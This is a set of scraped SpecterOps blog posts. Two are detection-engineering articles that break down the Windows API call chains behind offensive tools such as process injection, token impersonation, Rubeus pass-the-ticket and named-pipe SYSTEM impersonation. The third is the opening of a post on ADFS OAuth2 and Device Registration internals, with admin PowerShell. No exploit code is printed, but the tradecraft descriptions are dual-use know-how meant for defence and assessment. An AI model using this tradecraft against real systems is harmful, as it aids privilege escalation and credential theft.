If you are like me, you might be wondering, “if all kernel32!GetCurrentProcess does is return -1, then how am I supposed to observe that?” We don’t see a syscall. We don’t see a Remote Procedure Call. What should we be looking for? Unfortunately, the answer is that this activity will likely fly below the proverbial EDR radar. Of course one could hook the kernel32!GetCurrentProcess function, but that would probably be quite noisy and attackers can simply skip the call and pass (HANDLE)-1 directly. This is an example, though, that not all functions correspond to operations, and in those cases where they do not we can basically ignore them with respect to our model.

Comparison

Now that we’ve created the respective function call stacks for kernel32!OpenProcess and kernel32!GetCurrentProcess we can compare them to understand the difference between the two routes that Get-ProcessTokenPrivilege affords us. When a Process Identifier is specified to the Id parameter, the Process Open operation is executed, however, if the Id parameter is not specified then the function focuses on the calling process which can be done without a full operation.

OpenProcessToken and GetTokenInformation

After obtaining the handle, both paths converge. We first see, on line 1387, the ProcessHandle that was returned from either OpenProcess or GetCurrentProcess passed as a parameter to advapi32!OpenProcessToken. This is a simple function that opens a handle to the process’s primary token.

Next, on line 1389, we see a call to an internal function called Get-TokenInformation. Notice that the InformationClass parameter is set to “Privileges.” To learn more about the Get-TokenInformation function, we can browse to its source code which is located in the same file, but on line 936. If we look through the functions implementation, we eventually find some conditional branching that is interested in the InformationClass parameter. Remember that Get-ProcessTokenPrivilege passed the string “Privilege” to this parameter? Well on line 1043 we find the section of code that is executed when InformationClass equals “Privileges.”

We immediately see two calls to advapi32!GetTokenInformation. This behavior of calling the function twice may seem strange at first, but it is following the function’s intended use case. The problem is that the size of the TOKEN_PRIVILEGES structure is variable, so the first call is to ascertain the size of the structure and the second call is to retrieve the values.

Notice that the second parameter passed to advapi32!GetTokenInformation is 3. This is the information class that corresponds with TokenPrivileges. When you hear information class, you should immediately start thinking about sub-operations. When we dig into advapi32!GetTokenInformation, we find that it eventually calls the NtQueryInformationToken syscall, as expected. This means that we would want to focus on the sub-operation which would be Token Query — TokenPrivileges. I’ve included the function call stack for those following along.

CloseHandle

Finally, we have another fork in the road based on the use of the Id parameter. If the Id parameter was specified by the caller kernel32!CloseHandle is called by the function. If not, the function does not call kernel32!CloseHandle. The reason for this is that the pseudo-handle does not have to be closed explicitly, while the real handle, opened with kernel32!OpenProcess should be.

Operation Chain Comparison

We can now compare the operation chains for the two routes that are afforded to us by Get-ProcessTokenPrivilege. The first path, top, occurs when a Process Identifier is passed to the function via the Id parameter. The Id is meant to specify a target process for whom’s token privileges should be checked. The second path, bottom, more or less represents the default behavior which is focused on the calling process. Notice that these two chains are identical for the middle three operations with the second chain missing the first, Process Open, and last, Handle Close, operations. We know from prior analysis that these differences are minimal in practice, so we should be able to design a detection strategy that handles both situations, given necessary telemetry.

Conclusion

While there are almost certainly better examples of a single parameter drastically changing the function/operation chains that are executed, this is a simple example that demonstrates that a tool cannot simply be described using a single chain. This is why questions like “What does mimikatz do?” are so difficult to answer. The proper response is that mimikatz is a tool that has numerous modules (i.e., sekurlsa, kerberos, dpapi, etc.) which have numerous commands (i.e., logonPasswords, tickets, pth, minidump), which have numerous parameters. Of course these parameters may or may not affect the function chain that is executed, but the idea stands. It is often not possible to describe what a tool does in one succinct answer. Given a specific command line, it is possible to produce the function chain that would be executed. It is also possible to use the module, command, parameter options to map all possible function chains that mimikatz might execute. It is, however, important to understand that using this approach we would be using the command line to derive the function chain which is a more abstract description and is therefore generalizable to many non-mimikatz implementations as well. So we should think of a command line as the beginning of a path to understanding the behavior rather than the end of the detection road.

On Detection: Tactical to Functional Series


Part 16: Tool Description was originally published in Posts By SpecterOps Team Members on Medium, where people are continuing the conversation by highlighting and responding to this story.

  • ✇Posts By SpecterOps Team Members - Medium
  • Part 15: Function Type Categories Jared Atkinson
    On Detection: Tactical to FunctionalSeven Ways to View API FunctionsIntroductionWelcome back to Part 15 of the On Detection: Tactical to Functional blog series. I wrote this article to serve as a resource for those attempting to create tool graphs to describe the capabilities of the attacker tools or malware samples they encounter. Throughout this series, I’ve analyzed many API functions and summarized my analysis through function call stacks. As I expanded the range of functions I’ve analyzed,
     

Part 15: Function Type Categories

On Detection: Tactical to Functional

Seven Ways to View API Functions

Introduction

Welcome back to Part 15 of the On Detection: Tactical to Functional blog series. I wrote this article to serve as a resource for those attempting to create tool graphs to describe the capabilities of the attacker tools or malware samples they encounter. Throughout this series, I’ve analyzed many API functions and summarized my analysis through function call stacks. As I expanded the range of functions I’ve analyzed, I noticed that there is not a one-size-fits-all solution when creating function call stacks.

Overall, I’ve found that there are, at least, seven different types of functions:

  1. Standard Functions (Syscalls)
  2. Sub-operations (NtQueryInformation* or NtSetInformation*)
  3. Remote Procedure Calls (NdrClientCall*)
  4. Local Security Authority Functions (LsaCallAuthenticationPackage)
  5. Driver IOCTLs (DeviceIoControl or NtFsControlFile)
  6. Compound Functions (Multiple operations)
  7. Local Functions

In this article, I work to categorize functions based on their function type. To do so, I will introduce the category and what makes its functions unique, share a sample whose critical function exemplifies the category, provide the sample’s tool graph and explain how it works, and finally break down the specific function call stack that demonstrates the category in question. Ultimately, you should have the toolset to identify the category to which a given function belongs based on a few heuristics I will share along the journey. This knowledge will empower you to better understand and categorize the attacker tools or malware samples you encounter.

This article is broken down into sections that describe and demonstrate the categories. I subdivide each section further into a “category introduction,” where I will explain the category at a high level; the “sample,” where I will introduce the tool or malware sample that we will analyze to learn about the category; the “tool graph,” where I will explain how the sample implements its functionality; and the “function call stack,” where I will focus on the sample’s critical function which exemplifies the category of focus.

While this article follows several relevant articles that examine individual function types in depth, I consider it more of a preamble to such deep dives. Here, I will introduce two or three new function-type categories I have not previously discussed, but I plan to write a subsequent deep dive on each eventually.

1. Standard Function (syscall)

The first and most common category is the so-called standard functions. These functions are standard because they represent the most common construction and serve as excellent starting points for anyone interested in gaining experience building function call stacks. Standard functions typically involve multiple layers of redirection between DLLs but will inevitably pass the caller-supplied arguments to a system call (syscall) for execution in the kernel. If you’ve followed this series, you will be highly familiar with standard functions and know that we use the syscall as an abstraction layer, which I call an operation. As we progress into other categories, we will see that the operation will remain, but we will derive it differently.

Sample

Our standard function sample comes from DGRonpa’s excellent Process_Injection repository. I enjoy this repo because they have created simple proof-of-concept implementations for the Process Injection technique’s diverse set of procedures. If you are just getting started with implementing the analytical process I present in this series, I recommend you check out this project. It demonstrates how slight implementation changes can have a massive impact on the mutual detectability of malware samples. This article will focus on the Shellcode_Injection.cpp sample, which implements the canonical process injection procedure. For those unfamiliar with process injection, it is primarily a defense evacuation technique used by attackers to inject or migrate their malicious code into an otherwise legitimate process, thus making them less susceptible to detection.

Process_Injection/Classical_Injeciton/Shellcode_Injection.cpp at main · DGRonpa/Process_Injection

Tool Graph

Tool Graph: Shellcode_Injection.cpp

We can construct the tool graph by analyzing the source code at the link in the previous section. In doing so, we see that the sample begins by opening a handle to the target process, the process that the attacker intends to inject their code into, by calling the kernel32!OpenProcess function. Next, the code passes the process handle to kernel32!VirtualAllocEx. VirtualAllocEx is a function that allows an application to allocate a buffer in the memory of a different or remote process. The memory buffer will hold the attacker’s shellcode. Next, the sample writes shellcode to the newly allocated buffer via the kernel32!WriteProcessMemory function. Finally, the sample calls kernel32!CreateRemoteThread to execute the shellcode in the target process, thus finalizing the injection routine.

Function Call Stack

Function Call Stack: kernel32!CreateRemoteThread

Based on my analysis of this sample, it appears that kernel32!CreateRemoteThread is the sample’s critical function. I attribute this choice to the fact that CreateRemoteThread is the function that causes the injection. When the sample calls CreateRemoteThread, we can say that process injection has occurred. Let’s take a look at the function call stack for kernel32!CreateRemoteThread. It is worth understanding the general flow we expect in standard functions.

By analyzing the function call stack, we find that the final function, before the Operation, is a system call (syscall) named NtCreateThreadEx. Syscalls, like NtCreateThreadEx, are responsible for transitioning execution from user-mode to kernel-mode. This transition serves as a boundary whereby analysts can treat the kernel-side functionality as opaque, as it is not standard for a user-mode application to interact with kernel code except through very specific windows like syscalls.

2. Sub-Operations

Now that we have built the foundation, we can look at functions that offer a slight variation. Like Standard functions, this next function-type category is also based around a syscall but provides a bit more variation that must be accounted for by analysts. I call this group of functions Sub-Operations. These functions are often difficult to discern at the Win32 API layer but become evident at the Native API or Syscall layers due to a unique naming convention where the Native API and Syscall are referred to by Nt(Query/Set)Information* where the * represents a specific object type such as Process, File, etc.

For more detailed information on functions in the sub-operation category, I recommend reading Part 14 of this series.

Sample

To demonstrate the Sub-Operation category, we will investigate a sample that Jonathan Johnson wrote for our Malware Morphology workshop. This sample, called Sample 1, implements a simple version of Token Impersonation, and we will find that its critical function is a Sub-Operation.

MalwareMorphology/Sample 1/src/Source.cpp at main · jaredcatkinson/MalwareMorphology

I encourage you to check out the full workshop to see how attackers can change their approach when facing different constraints or circumstances. The slides and labs are available in the linked GitHub repository, and a video recording of the workshop lecture is available on NorthSec’s YouTube channel.

Tool Graph

Tool Graph: Malware Morphology Sample 1

Let’s analyze Sample 1’s source code to build the tool graph. This sample starts by calling kernel32!OpenProcess to open a handle to the target process. In this case, the target process is the process from whom the attacker wants to impersonate. Next, it passes the process handle to advapi32!OpenProcessToken and opens a handle to the target process’s primary token. The primary token represents the user context the attacker is after. While the attacker now has access to their target token, Windows does not allow a process to impersonate the primary token of a different process, so Jonny calls advapi32!DuplicateToken to make a fresh copy of the token. Finally, he passes the duplicated token to advapi32!SetThreadToken to execute the impersonation. Finally, Jonny follows good programming practice by cleaning up the handles he opened by calling kernel32!CloseHandle three times. It is important to note that these calls to CloseHandle are purely optional, so it is plausible that a malicious implementation may exclude them.

Function Call Stack

Function Call Stack: advapi32!SetThreadToken

When it comes to Token Impersonation, the moment of impersonation represents the critical point in the function chain. As a result, we can identify advapi32!SetThreadToken as the crucial function in the function chain.

The function call stack, shown below, appears to follow a similar pattern to the Standard Function. However, the implementation diverges when the code reaches kernelbase.dll. In this case, the high-level function, advapi32!SetThreadToken is a wrapper around a more generic low-level function called ntdll!NtSetInformationThread. In Part 14 of this series, I discussed a class of functions called Nt(Set/Query)Information* that facilitate the setting (writing) or querying (reading) of metadata properties for the target object specified by the *, which in this case happens to be a Thread. The caller specifies which specific metadata property to query or set via an information class.” Each object type has a unique set of information classes. You can see in the screenshot below that SetThreadToken specifies information class 5 via the second parameter, which corresponds to ThreadImpersonationToken.

For this category of functions, the information class is critical for properly assigning the operation. If we treated advapi32!SetThreadToken as if it were a Standard Function, we would derive the operation from the syscall, NtSetInformationThread, meaning the operation would be Thread Set. The problem is that the Thread Set operation covers ALL of the Thread’s metadata properties, including properties irrelevant to token impersonation, such as ThreadIoPriority. While it may be interesting to know whether someone changed a thread’s IO priority, that change does not indicate Token Impersonation. All said, there are 41 Thread information classes (metadata properties), and only one is relevant to this particular procedure. Therefore, we require a way to differentiate between Thread Set operations, and the most natural option for doing so is using the information class as an additional indicator. Thus, the resulting operation is Thread Set: ThreadImpersonationToken.

3. Remote Procedure Calls (NdrClientCall4)

Now, we’ve reached the categories I have not yet covered in this series. The first is related to remote procedure call (RPC) procedures. Functions built on RPC Procedures do not result in syscalls, at least not directly. Instead, they implement the client component of the RPC client/server relationship. In the RPC model, the client and server can exist within different processes or even on different systems. Previously, I mentioned that syscalls are responsible for transferring execution from user mode to kernel mode. Similarly, an RPC procedure transfers execution from the client application, the Win32 API function, to the server application. This process is commonly referred to as Interprocess Communication (IPC). Especially in cases where the client and server exist on separate systems, this boundary is at least as robust as the user mode/kernel mode boundary. A key feature of RPC is that the server component generally constrains the set of sub-routines a client can execute on the server. This constraint creates an opportunity to establish our operation abstraction layer.

Sample

For this third class of functions I decided to use a BOF called sc_create that is included in the TrustedSec CS-Remote-OPs-BOF project. Based on the commit history, it appears that it was originally written by Christopher Paschen. The BOF’s name indicates that Christopher reimplemented the functionality of the sc.exe create command. I’ve found that BOFs provide a great starting point for analysts that are trying to get their feet wet in this typeof analysis. Their simplicity can primarily be attributed to the fact that BOF often implement very discrete capabilities which limits the amount of digging that one must do.

CS-Remote-OPs-BOF/src/Remote/sc_create/entry.c at main · trustedsec/CS-Remote-OPs-BOF

Tool Graph

Tool Graph: sc_create BOF

Our analysis of the sc_create BOF found that it first opened a handle to the Service Control Manager (SCM) via the advapi32!OpenSCManagerW function. Next, the BOF creates the target service via the advapi32!CreateServiceW function. While the operator can specify specific service details such as its name, binary path, and start type during creation, some other features must be added after the fact. To make these additional changes, the tool calls the advapi32!ChangeServiceConfig2W function. Finally, we see the tool close the handles to the newly created service and the SCM by calling the advapi32!CloseServiceHandle function twice.

Function Call Stack

Function Call Stack: advapi32!CreateServiceW

Since the technique in this example is Service Creation, it makes sense to choose advapi32!CreateServiceW as the sample’s critical function for investigation.

CreateServiceW is the first function category that does not make a syscall. Technically, it does EVENTUALLY, but there is an important caveat. You see, advapi32!CreateServiceW is an API function wrapper around an RPC Procedure. In the image below, we see the kernelbase!CreateServiceW function call the rpcrt4!NdrClientCall2 function. NdrClientCall2 is one of a set of functions, represented by NdrClientCall*, that RPC clients can use to make requests. Analysis of the NdrClientCall2’s first and second parameters, which is outside the scope of this article, allows us to identify that kernelbase!CreateServiceW invokes the RCreateServiceW procedure from the Microsoft Service Control Manager Remote Protocol (MS-SCMR).

The Service Control Manager (services.exe) implements its API via RPC, allowing other applications to interact with it. Applications can query, create (as we see here), delete, or modify services through the MS-SCMR RPC interface. Now, we need to understand that the relationship between the calling application and the Service Control Manager is a client/server relationship where clients can make local AND remote requests. The remote aspect is why service creation is a powerful lateral movement technique. Given sufficient permissions, attackers can create malicious services on remote systems. The client/server relationship is essential in our analysis because it acts like a boundary where interaction is constrained to a finite set of RPC procedures like RCreateServiceW. This constraint allows for the application of the operation abstraction layer, which is labeled Service Create in this specific case.

Note: This is not to say that it is not valuable to understand what happens on the server side of the interaction because, in some cases, like this one, an understanding of the server-side component can reveal an alternative procedure to achieve the same outcome (lateral movement via service creation). That said, the ability to implement the server-side implementation, especially remotely, has shown in my analysis to be the exception, not the rule. I will write more about this in a future post.

4. LSA Functions (LsaCallAuthenticationPackage)

Next, we encounter a function type category that took me a while to understand, the LSA Function. Eventually, I discovered that LSA Functions are to RPC Procedures as Sub-Operations are to Standard Functions. That is, LSA Functions rely on a specific RPC Procedure called SspirCallRpc, which the Microsoft Security Support Provider Interface (MS-SSPI) implements. MS-SSPI offers an extensible framework for authentication whereby Microsoft and third-party vendors can extend how users authenticate to the system. As a result, all interactions with “Authentication Packages” flow through the same RPC Procedure. However, the Local Security Authority (LSA) determines how to handle each request based on the specified Authentication Package and AP function. These additional variables indicate that it will not be enough to observe the invocation of SspirCallRpc. Instead, more precise monitoring is necessary, but unfortunately, I am not aware of any vendor that supports this level of monitoring as of this writing.

I highly recommend checking out Evan McBroom’s excellent LSA Whisper project to learn more about the Authentication Packages and LSA.

Sample

This category of functions is the one that inspired me to write this post. I struggled to integrate functions that interact with the Local Security Authority (LSA) into my model for an extended period. When I finally understood how they fit, I realized I had incorrectly conceptualized other categories, like RPC functions. This category is essential when considering modern tradecraft, as shown by my colleagues Will Schroeder in his work on Rubeus and Evan McBroom in his work on LSA Whisperer. Many modern workflows manipulate an agent’s identity context through interactions with LSA, so modern detection approaches must understand these underlying mechanisms. With that in mind, we will look at the inner workings of the pass-the-ticket (ptt) argument in many of Rubeus’ commands.

Rubeus/Rubeus/lib/LSA.cs at master · GhostPack/Rubeus

Tool Graph

Tool Graph: Rubeus ptt

At this point, each sample we have investigated supported one use case. Rubeus is a full-featured tool suite that supports many Kerberos-related attacks. The pass-the-ticket feature assumes the operator has a Kerberos ticket and facilitates adding that ticket to the ticket cache of the specified logon session.

The tool graph below shows that Rubeus begins by connecting to the Local Security Authority (LSA) server using the secur32!LsaConnectUntrusted function. This results in an LSA handle that the tool uses in subsequent calls. Next, the application finds the Kerberos authentication package (AP) by calling the secur32!LsaLookupAuthenticationPackage function. Rubeus then calls secur32!LsaCallAuthenticationPackage specifying the Kerberos authentication package’s KerbSubmitTicket function. The KerbSubmitTicket AP function adds the supplied ticket to the specified logon session’s ticket cache. Finally, Rubeus releases the LSA handle by calling secur32!LsaDeregisterLogonProcess.

Function Call Stack

Function Call Stack: secur32!LsaCallAuthenticationPackage (Kerberos KerbSubmitTicket)

The secur32!LsaCallAuthenticationPackage function is responsible for “passing-the-ticket” in the sense that it is the function that adds the ticket to the ticket cache. For that reason, let’s dig a bit deeper into it to understand how it works.

When we open secur32!LsaCallAuthenticationPackage in our disassembler, we see that it eventually makes an RPC Procedure call to the SspirCallRpc procedure implemented by the Microsoft Security Support Provider Interface (MS-SSPI). You might immediately think that I’m crazy because we just covered RPC Procedures in the previous section, but it turns out that this particular case is more complicated than that. That’s because there is an additional layer or two of abstraction. The SspirCallRpc procedure acts as a gateway for applications to interact with LSA regardless of the authentication package and function that the caller specifies. Behind the scenes, MS-SSPI (loaded in lsass.exe) handles these calls and passes execution to the appropriate authentication package, such as kerberos.dll. As a result, observing a call to the SspirCallRpc procedure only indicates that some authentication-related operation has occurred. However, it does not provide the necessary level of detail to determine whether the operation is the one you are interested in, such as adding a Kerberos ticket to the ticket cache, in this case via KerbSubmitTicket. Like Sub-Operations, this category requires that we operate at a more granular level if we can hope to use this signal in any meaningful detection strategy.

It is also worth noting that these LSA-related operations function based on the same client/server relationship as RPC but are often constrained to the local machine only. The lsass.exe application runs as a protected process on modern operating systems, so LsaCallAuthenticationPackage or SspirCallRpc, more specifically, acts as an interface for applications to interact with LSA. This constraint allows us, again, to treat the LSA side of this interaction opaquely. I’ve found it helpful to label the resulting operation using the AP function, which in this example is KerbSubmitTicket.

5. Driver IOCTLs

Another important category I have not extensively written about is Driver IOCTLs. These functions rely on making specific Input/Output Control calls to kernel drivers via API functions like kernel32!DeviceIOControl and ntdll!NtfsControlFile. IOCTLs facilitate direct interaction with a kernel driver and represent something between a Syscall and an RPC Procedure. In this case, we treat the transfer of execution from the client application to the kernel driver as the boundary for abstraction.

Sample

To demonstrate Driver IOCTLs in practice, I will use Matt Graeber’s Get-System implementation from the PowerSploit project. Get-System provides two approaches to Token Theft. The first follows the traditional Token Impersonation approach, while the second relies on a trick with named pipes. For this analysis, I will focus on the named pipe approach.

PowerSploit/Privesc/Get-System.ps1 at d943001a7defb5e0d1657085a77a0e78609be58f · PowerShellMafia/PowerSploit

Thanks to Jonathan Johnson for helping to identify a function that embodies this category. He pointed me to one of his blog posts focused on advapi32!ImpersonateNamedPipeClient, which inspired me to find a sample that leverages that function. If you want to understand how I constructed the function call stack, I recommend you read his post.

Exploring Impersonation through the Named Pipe Filesystem Driver

Tool Graph

Tool Graph: PowerSploit Get-System

After consulting the source code for our sample, I found that the named pipe impersonation trick is a bit complicated. It starts with a call to advapi32!CreatePipe, which generates a new pipe with a fairly permissive DACL. Next, we interact with the Service Control Manager (SCM) via advapi32!OpenSCManagerW. This call results in a handle to the local SCM. Matt passes the SCM handle to advapi32!CreateServiceW to create a new service that the attack will eventually use to connect to the named pipe. Services can run as the NT AUTHORITY\SYSTEM user, resulting in the “named pipe client” being SYSTEM. We then see a call to advapi32!CloseServiceHandle to close the service handle. Next, Get-System calls advapi32!OpenServiceW to open a new handle to the service. The service handle is passed to advapi32!StartServiceW to execute the service, thus connecting to the named pipe. After the service is executed, the sample is cleaned up via advapi32!DeleteService and two calls to advapi32!CloseServiceHandle. Finally, advapi32!ImpersonateNamedPipeClient is called to steal the SYSTEM account token.

Function Call Stack

Function Call Stack: advapi32!ImpersonateNamedPipeClient

As mentioned earlier, I selected this sample to highlight the advapi32!ImpersonateNamedPipeClient function.

Like many other functions, ImpersonateNamedPipeClient flows to kernelbase.dll, where it makes a call to a Native API function called ntdll!NtFsControlFile. The Microsoft documentation for the NtFsControlFile function states that “[it] sends a control code directly to a specified file system or file system filter driver, causing the corresponding driver to perform the specified action.” We can see from the arguments passed to NtFsControlFile that the handle is to the specified named pipe, which, in the case of Matt’s Get-System implementation, is the dummy named pipe created via the CreatePipe function call. We also see that kernelbase!ImpersonateNamePipeClient hardcodes the sixth parameter, representing the FsControlCode, to 0x11001C.

Implementation of kernelbase!ImpersonateNamedPipeClient

The FsControlCode tells the driver which sub-routine to execute. In his blog post analyzing the function, Jonny explains that this control code is known as FSCTL_PIPE_IMPERSONATE and that the components of the control code indicate that this is function number 7 for named pipes (FILE_DEVICE_NAMED_PIPE). We can, therefore, use the control code as the abstraction layer for our operation, which we will call Pipe Impersonate.

6. Compound Functions

A special category is the Compound Function. A Compound Function is a function that, at the Win32 API level, appears as a single function but, lower in the function call stack, breaks down into many more specific functions and, thus, operations. We typically find that Compound Functions implement logic to execute an everyday routine that would normally require multiple individual function calls. A great example of a compound function is dbghelp!MiniDumpWriteDump, which creates process crash dumps. It is built on top of kernel32!ReadProcessMemory. However, a crash dump requires numerous specific memory reads to occur. MiniDumpWriteDump implements this logic, so the application developer is not required to understand the details of the crash dump or process memory structures.

Sample

We will look at Justin Bui’s Primary Token Theft sample for this category. Justin wrote this program to evaluate which processes would be the best targets for System Token Theft. It is a relatively simple program, but it allows us to see a third implementation of Token Impersonation. I challenge you to analyze this sample’s operation chain and compare it to the sample we used to dig into Sub-Operations.

PrimaryTokenTheft/main.cpp at master · slyd0g/PrimaryTokenTheft

Tool Graph

Tool Graph: PrimaryTokenTheft

The tool graph for the PrimaryTokenTheft sample is relatively straightforward compared to some of our other examples. In all, we see that there were three function calls kernel32!OpenProcess, advapi32!OpenProcessToken, and advapi32!ImpersonateLoggedOnUser. The first function, kernel32!OpenProcess is used to open a handle to the target process. This process typically runs in the context of a user with desirable access, such as the NT AUTHORITY/SYSTEM account or a Domain Administrator account. The resulting handle is then passed to advapi32!OpenProcessToken, which opens a handle to the desired access token. Finally, Justin passes the token handle to advapi32!ImpersonateLoggedOnUser, where all the magic happens.

Function Call Stack

Function Call Stack: advapi32!ImpersonateLoggedOnUser

Digging into the advapi32!ImpersonateLoggedOnUser function’s call stack, everything progresses normally, like a standard function, until we reach kernelbase.dll. As shown in the image below, we see calls to ntdll!NtQueryInformationToken, ntdll!NtDuplicateToken, ntdll!NtSetInformationThread, and ntdll!NtClose.

Implementation of kernelbase!ImpersonateLoggedOnUser

As a result, the function call stack splits at kernelbase!ImpersonateLoggedOnUser. The end effect is that rather than a one-to-one relationship between the function and the operation, we find that advapi32!ImpersonateLoggedOnUser has a one-to-four relationship, which has massive implications for our detection engineering efforts. Each underlying function will fit within one of the categories covered in this article. For example, NtQueryInformationThread and NtSetInformationThread belong to the Sub-Operation category, while NtDuplicateToken and NtClose belong to the Standard Function category.

You will notice that the resulting operation chain for this particular sample is not much different from that of the sample used in the Sub-Operation section. This similarity means that these two samples are likely to be mutually detectable, or, put another way, they can both be detected using the same analytic.

7. Local Functions (memcpy or GetCurrentProcess)

The final category is probably the least important from the detection engineering perspective. However, understanding how to spot functions from this set will empower you to separate the wheat from the chaff. Local Functions is the name I’ve given to the functions that never cross a relevant boundary. They often, if not always, are resolved within the initial implementation DLL and perform local tasks. You will find that as you begin to analyze complicated functions, you will encounter many local functions, so you must understand how to spot these functions so you can be sure that you can safely ignore them.

Sample

In this example, we will rely on the Get-ProcessTokenPrivilege PowerShell function from Will Schroeder’s PowerUp module. This function is a helper function that implements something similar to whoami /priv.

PowerSploit/Privesc/PowerUp.ps1 at master · PowerShellMafia/PowerSploit

Tool Graph

Tool Graph: Get-ProcessTokenPrivilege

The tool graph shows that this PowerShell function is meant to check which privileges are enabled for the current user context. We see kernel32!GetCurrentProcess emits a handle to the calling process. That handle is then passed to advapi32!OpenProcessToken, which returns a handle to the calling process’s primary token. Finally, the advapi32!GetTokenInformation function is called to return a list of the token’s enabled privileges.

Note: Can you identify which categories advapi32!OpenProcessToken and advapi32!GetTokenInformation fit into?

Function Call Stack

Function Call Stack: kernel32!GetCurrentProcess

In this sample, the kernel32!GetCurrentProcess function represents the Local Function category. After opening kernel32.dll in IDA, we can browse to the implementation of the GetCurrentProcess function. We see that this function does not do much. It returns -1, which functions as a pseudo-handle for the calling process.

Implementation of kernel32!GetCurrentProcess

As a result, the function call stack is essentially non-existent, as shown below. Since kernel32!GetCurrentProcess does not cross a client/server boundary like that of user-mode/kernel-mode, RPC client/server, or LSA client/auth package it does not have a corresponding operation.

Conclusion

For as long as I can remember, we have used API functions to describe a particular malware sample’s functionality. These function chains have proven helpful to Detection Engineers as they provide a blueprint for observation. However, not all functions are created equally. In our analysis, we’ve identified seven function categories, each requiring a different analytical approach. I hope the descriptions in this article help you determine which type of function you have encountered so you can ensure you are collecting data with an adequate level of granularity.

On Detection: Tactical to Functional Series


Part 15: Function Type Categories was originally published in Posts By SpecterOps Team Members on Medium, where people are continuing the conversation by highlighting and responding to this story.

  • ✇Posts By SpecterOps Team Members - Medium
  • ADFS — Living in the Legacy of DRS Adam Chester
    ADFS — Living in the Legacy of DRSIt’s no secret that Microsoft have been trying to move customers away from ADFS for a while. Short of slapping a “deprecated” label on it, every bit of documentation I come across eventually explains why Entra ID should now be used in place of ADFS.And yet… we still encounter it everywhere! Even in organisations that have embraced Entra ID, we have Hybrid Joined environments which often mix federated authentication in with cloud management. So while it’s nice to
     

ADFS — Living in the Legacy of DRS

ADFS — Living in the Legacy of DRS

It’s no secret that Microsoft have been trying to move customers away from ADFS for a while. Short of slapping a “deprecated” label on it, every bit of documentation I come across eventually explains why Entra ID should now be used in place of ADFS.

And yet… we still encounter it everywhere! Even in organisations that have embraced Entra ID, we have Hybrid Joined environments which often mix federated authentication in with cloud management. So while it’s nice to chase the shiny new thing, building knowledge around ADFS is still a worthwhile way to spend an evening.

So in this post we’re going to focus on some ADFS internals. We’ll be staying clear of the SAML areas which have been beaten to death, and instead we’re going to look at OAuth2, and how it underpins the analogues to Entra ID security features like Device Registration and Primary Refresh Tokens.

I’m honestly not sure how useful any of this post will be in a practical sense. I’ve tried to gather data on internet facing ADFS servers to see what configurations are out there to help hone my research, but I found this area way too interesting to leave on my Notion notebook to rot.

So if a single person is able to make use of this content to achieve their objective in a future assessment, or just to understand why the msDS-Device object exists, it was worth posting.

ADFS and OAuth2

You’d be forgiven for thinking that ADFS is primary a SAML token generator. After all, most post-ex techniques focus on areas like Golden SAML, having been used with success on countless engagements over the years.

But the other side to ADFS is OAuth2. Of course there is a coating of “Microsoft Stank” (as my colleague @hotnops likes to call it when presenting research into some Entra ID madness) applied to the terms that Microsoft use, but it’s very much an OAuth2 provider under the hood.

I’ll begin by giving a very quick overview of OAuth2 on ADFS to set the stage for what we will discuss later on.

Let’s start with how to set up a simple OAuth2 integration. In the ADFS management console we have “Application Groups”:

This is where ADFS allows configuration of OAuth2 clients and servers. We’ll set up a new Application Group and call it “Test App Group”, where we’ll be presented with a number of templates:

Microsoft provide an overview of each template via the “More information” button, but this table from the documentation provides a useful set of translations to understand Microsoft’s OAuth2 terminology:

For now, let’s choose the “Web browser accessing a web application” template. We’ll use the ClaimsXRay.net web application as our target, which is a nice application used to test IdP integrations (modelled after Microsoft’s own deprecated ClaimsXRay service).

On the next screen we need to assign the Client Identifier and redirect URI which we’ll set to https://claimsxray.net/token:

Take note of the Client Identifier which will be used to identify our client configuration later.

The next dialog determines who can access the OAuth2 resource provider. Again we’ll just go with “Permit Everyone” here to allow all authenticated ADFS users to access the application, but there are multiple options to restrict which accounts are permitted access:

One additional thing we need to do is configure CORS. This allows ClaimsXRay to make a XHR request to ADFS when exchanging a code for an access token.

As is often the case with ADFS, there isn’t a management console option to do this and instead we need to use PowerShell:

Set-AdfsResponseHeaders -EnableCORS $true
Set-AdfsResponseHeaders -CORSTrustedOrigins https://claimsxray.net

On a similar note, if we wanted to create this integration using PowerShell from scratch, we can use:

New-AdfsApplicationGroup -Name ClaimsXRayGroup
Add-AdfsNativeClientApplication -Name ClaimsXRayClient -ApplicationGroupIdentifier ClaimsXRayGroup -Identifier https://claimsxray.net/ -RedirectUri https://claimsxray.net/token
Add-AdfsWebApiApplication -Name ClaimsXRayServer -Identifier https://claimsxray.net/ -AllowedClientTypes Public -ApplicationGroupIdentifier ClaimsXRayGroup
Grant-AdfsApplicationPermission -ClientRoleIdentifier https://claimsxray.net/ -ServerRoleIdentifier https://claimsxray.net/ -ScopeNames @('email', 'openid')

# Enable CORS support
Set-AdfsResponseHeaders -EnableCORS $true
Set-AdfsResponseHeaders -CORSTrustedOrigins https://claimsxray.net

And with that we’re done. We can test that things work by kicking off the flow on ClaimsXRay.net, providing our Client ID that was generated above, as well as the URL’s to our lab ADFS instance:

If you click Login, you should see that an access token is returned. We’ll also get an identity token due to the openid scope requested:

Now we have some insight into how ADFS handles OAuth2 registration at a very high level, let’s start taking a look at some of the less documented features.

Device Registration Services

While reversing ADFS, I came across a number of “hidden” OAuth2 Client ID’s embedded in the binaries:

The one that grabbed my attention was DrsClientIdentitier. If the DRS term looks familiar, it’s likely because you’ve encountered it in the Entra ID world as Device Registration. But for those organisations that like to manage device registration themselves, DRS is also supported on-prem in various forms. Now when I say “supported”, it takes a lot of messing around to get DRS to actually work standalone, so I think it’s been left by Microsoft to die. You are much more likely to encounter this within an organisation which has previously enabled DRS before Entra ID, or as part of the Entra ID Hybrid Join scenarios we’ll explore later.

To enable DRS on ADFS, you use the “Device Registration” feature which will deploy the pre-reqs required to support this in Active Directory:

If we query ADFS via the /EnrollmentServer/contract?api-version=1.2 path, we get a list of DRS descriptors:

These point to various DRS API services which we will explore later, but before we get too ahead of ourselves, let’s take a quick detour into ADFS authentication methods so we can set the scene for device authentication later on.

Authentication Methods

ADFS has a concept of “extranet” and “intranet”. For most organisations, ADFS is exposed on the perimeter via a web proxy, and internal network users typically interact with the ADFS service directly.

You can see that this split is populated down to the configuration of ADFS, with the endpoints being distinctly listed (in this case as “Enabled” and “Proxy Enabled”, because consistent terminology in Microsoft world is hard):

This distinction is also surfaced via the authentication methods supported by ADFS, allowing different methods of validating credentials per “Extranet” and “Intranet” (told you Microsoft consistent terminology was hard):

You have likely come across a few of these options during your engagements. For example, “Forms Authentication” is the presentation of the ADFS login form:

